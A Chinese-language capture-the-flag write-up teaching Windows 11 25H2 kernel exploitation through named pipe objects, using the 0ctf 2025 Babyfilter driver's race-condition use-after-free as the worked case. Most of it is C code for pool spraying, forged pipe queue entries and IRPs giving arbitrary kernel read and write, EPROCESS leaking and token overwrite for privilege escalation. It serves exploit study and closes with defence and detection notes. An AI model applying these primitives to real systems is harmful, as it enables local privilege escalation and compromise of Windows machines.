从 0ctf 2025 Babyfilter 学习 Windows 11下的内核利用原语
字数 1797
更新时间 2026-01-30 12:03:22
Windows 11 25H2 内核利用教学:基于Pipe原语的内核漏洞利用技术
1. Windows 11 25H2 内核利用环境变化
1.1 传统技术失效
在 Windows 11 25H2 环境下,传统的 NtQueryInformationSystem 等内核地址泄露技术已无法使用。过去的内核利用通常需要获取特定内核对象的地址,然后对该对象进行修改以提升权限。
1.2 新的利用思路
需要寻找在触发漏洞的场景中能够实现 WWW(Write-What-Where) 的利用手段。本文重点介绍使用 Windows Pipe 对象进行漏洞利用的技术。
2. Pipe 利用技术基础
2.1 利用条件
- 能够创建命名 Pipe 对象的权限
- 存在 UAF(Use-After-Free)或越界写漏洞
2.2 利用效果
- 通过控制 Pipe 的 DQE(DATA_QUEUE_ENTRY)对象构造读写原语
- 实现任意地址读/写能力
3. Pipe 对象内存结构分析
3.1 Pipe 创建与结构
命名管道创建时包含服务端和客户端:
// 服务端创建
ph->Write = CreateNamedPipeW(
L"\\.\pipe\exploit_cng",
PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
quota, 0, 0, 0);
// 客户端连接
ph->Read = CreateFile(L"\\.\pipe\exploit_cng", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
3.2 DATA_QUEUE_ENTRY 结构
struct DATA_QUEUE_ENTRY {
LIST_ENTRY NextEntry; // 链表指针
_IRP* Irp; // IRP 指针
_SECURITY_CLIENT_CONTEXT* SecurityContext;
uint32_t EntryType; // 条目类型
uint32_t QuotaInEntry; // 配额信息
uint32_t DataSize; // 数据大小
uint32_t x;
char Data[]; // 数据区域
};
3.3 内存池大小计算
#define TARGET_CHUNK_SIZE 0x1000
#define SPRAY_SIZE (TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY))
4. Pipe 条目类型分析
4.1 缓存对象(Buffered Entries)
- 使用
CreateNamedPipeW + WriteFile创建 - 数据直接存放在 DQE 的 Data 字段中
- 适用于常规数据传输
4.2 非缓存对象(Unbuffered Entries)
- 使用
NtFsControlFile创建 - 数据存放在独立的 IRP 中
- 适用于大文件或异步操作
NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(
LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8,
target_buffer, target_size, 0, 0);
5. IRP 关键结构分析
5.1 IRP 重要成员
struct _IRP {
// ... 其他字段
+0x018 AssociatedIrp; // 关联的IRP(SystemBuffer)
+0x020 ThreadListEntry; // 线程链表
+0x070 UserBuffer; // 用户缓冲区
// ... 其他字段
};
5.2 IRP 与线程关系
- 每个 IRP 与发起线程(ETHREAD)绑定
- ETHREAD 包含指向 KPROCESS 的指针
- 形成完整的内核对象关系链
6. 利用原语构造
6.1 非分页池风水
- 使用 Pipe 对象占据特定大小的非分页池
- 通过精心布局控制内存分配模式
6.2 任意地址读原语
利用 PeekNamedPipe 和伪造的 DQE 实现任意读:
void ReadMem(HANDLE port, PIPE_HANDLES* pipes, uint64_t addr,
size_t len, unsigned char* data) {
// 读取原始 DQE
DATA_QUEUE_ENTRY dqe;
ReadDataFromGMSG((unsigned char*)&dqe, sizeof(DATA_QUEUE_ENTRY));
// 构造伪造的 IRP
IRP fakeIRP = { 0 };
fakeIRP.AssociatedIrp = (void*)addr;
// 构造伪造的 DQE
DATA_QUEUE_ENTRY fakeNP = dqe;
fakeNP.Irp = (IRP*)&fakeIRP;
fakeNP.EntryType = 1; // 设置为非缓存对象
fakeNP.SecurityContext = 0;
fakeNP.QuotaInEntry = 0;
fakeNP.DataSize = len;
// 通过漏洞修改内核 DQE
CallFilterComm(EDIT_BLOCK, sizeof(fakeNP), (unsigned char*)&fakeNP);
// 触发读取
DWORD dwLen = 0;
PeekNamedPipe(pipes->Read, data, len, &dwLen, 0, 0);
// 恢复原始 DQE
CallFilterComm(EDIT_BLOCK, sizeof(dqe), (unsigned char*)&dqe);
}
6.3 关键地址泄露技术
6.3.1 获取真实 IRP
DWORD WINAPI CreateIRPThread(void* arg) {
PIPE_HANDLES* victim_pipe = (PIPE_HANDLES*)arg;
DWORD res;
char buf[0x1000] = { 0 };
memset(buf, 'Z', sizeof(buf));
// 创建包含真实 IRP 的 Pipe 操作
WriteFile(victim_pipe->Write, buf, 0x1000, &res, NULL);
Sleep(-1); // 保持线程不退出
return 0;
}
6.3.2 泄露 EPROCESS
通过 IRP 的 ThreadListEntry 泄露 ETHREAD,进而获取 EPROCESS:
// 遍历 DQE 链表寻找包含 IRP 的条目
DATA_QUEUE_ENTRY* nowChunk = (DATA_QUEUE_ENTRY*)LeakBuf;
DATA_QUEUE_ENTRY nextChunk = { 0 };
ReadMem(g_hPort, &victim_pipes[dwIdx], nowChunk->Flink,
sizeof(DATA_QUEUE_ENTRY), (unsigned char*)&nextChunk);
// 获取 IRP 地址
printf("IRP address: %p\n", nextChunk.Irp);
6.4 任意地址写原语
6.4.1 伪造 IRP 结构
void PrepareWriteIRP(IRP* irp, PVOID thread_list,
PVOID source_address, PVOID destination_address) {
irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
irp->AssociatedIrp = source_address; // 源地址
irp->UserBuffer = destination_address; // 目标地址
// 维护线程链表完整性
irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
}
6.4.2 实现任意写
void WriteMem(HANDLE port, PIPE_HANDLES* pipes,
unsigned char* irp_data, size_t irp_size,
uint64_t src_addr, uint64_t dst_addr, size_t write_size) {
// 读取真实 IRP 作为模板
unsigned char IrpBuffer[0x100] = { 0 };
ReadMem(port, pipes, irp_address, sizeof(IrpBuffer), IrpBuffer);
// 准备伪造的 IRP
uint64_t thread_list[2];
PrepareWriteIRP((IRP*)fakeIrp, (void*)thread_list,
(PVOID)src_addr, (PVOID)dst_addr);
// 使用非缓存内存存放伪造的 IRP
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8,
fakeIrp, 0x1000, 0, 0);
// 修改 DQE 指向伪造的 IRP
DATA_QUEUE_ENTRY fakeDQE = originalDQE;
fakeDQE.Irp = fakeIrp_address;
fakeDQE.EntryType = 1;
CallFilterComm(EDIT_BLOCK, sizeof(fakeDQE), (unsigned char*)&fakeDQE);
// 触发写入操作
ReadFile(pipes->Read, read_buffer, write_size, &bytes_read, NULL);
}
7. Babyfilter 实战分析
7.1 漏洞背景
Babyfilter 是一个 Minifilter 驱动,存在条件竞争漏洞,可用于内核利用学习。
7.2 漏洞原理
驱动使用全局结构体管理内存:
struct GLOBAL_CTX {
UINT32 Size;
UINT32 Flag;
PVOID Buffer;
};
通过多线程条件竞争实现 UAF:
- 线程1:进入 EDIT 操作,保存 gCTX.Buffer
- 线程2:执行 FREE 操作,释放 gCTX.Buffer
- 线程1:继续执行,使用已释放的 Buffer
7.3 利用步骤
7.3.1 内存布局准备
// 创建大量 Pipe 对象进行池风水
for (int i = 0; i < VICTIM_PIPES_NUMBER; i++) {
CreateMyPipe(&victim_pipes[i], 0x1000);
}
// 制造内存空洞
for (int i = VICTIM_PIPES_NUMBER-2; i < VICTIM_PIPES_NUMBER; i += 2) {
CloseMyPipe(&victim_pipes[i]);
}
7.3.2 条件竞争触发
// 竞争线程函数
DWORD WINAPI edit_thread(LPVOID param) {
while (!g_RaceDone) {
if (g_CanEdit) {
unsigned char edit_data[0x1000] = { 0x63 };
CallFilterComm(EDIT_BLOCK, 0x1000, edit_data);
}
}
return 0;
}
7.3.3 利用流程
- 通过条件竞争获得 UAF 控制权
- 使用 Pipe 对象占据释放的内存
- 构造读写原语泄露关键地址
- 修改 Token 提升权限
8. 高级技巧与注意事项
8.1 IRP 结构完整性
- IRP 大小通常为 0xB8 字节
- IRP 后紧跟 IO_STACK_LOCATION 结构
- 伪造时需要保持结构完整性
8.2 线程链表维护
// 确保线程链表自引用
irp->ThreadListEntry.Flink->Blink == &irp->ThreadListEntry
irp->ThreadListEntry.Blink->Flink == &irp->ThreadListEntry
8.3 替代技术方案
除了 Pipe 技术,Windows 11 25H2 还可使用:
_WNF_STATE_DATA相关利用技术- 其他内核对象喷射技术
9. 防御与检测
9.1 防御措施
- 启用 VBS(Virtualization Based Security)
- 配置驱动签名策略
- 监控异常的内核内存访问
9.2 检测指标
- 异常的 Pipe 对象创建模式
- 非法的 IRP 操作
- 异常的内核内存读写模式
10. 总结
本文详细介绍了在 Windows 11 25H2 环境下使用 Pipe 对象进行内核利用的完整技术体系。重点包括 Pipe 对象内存结构分析、利用原语构造、实际漏洞利用等关键技术点。这种技术在失去传统信息泄露 API 的现代 Windows 系统中具有重要价值。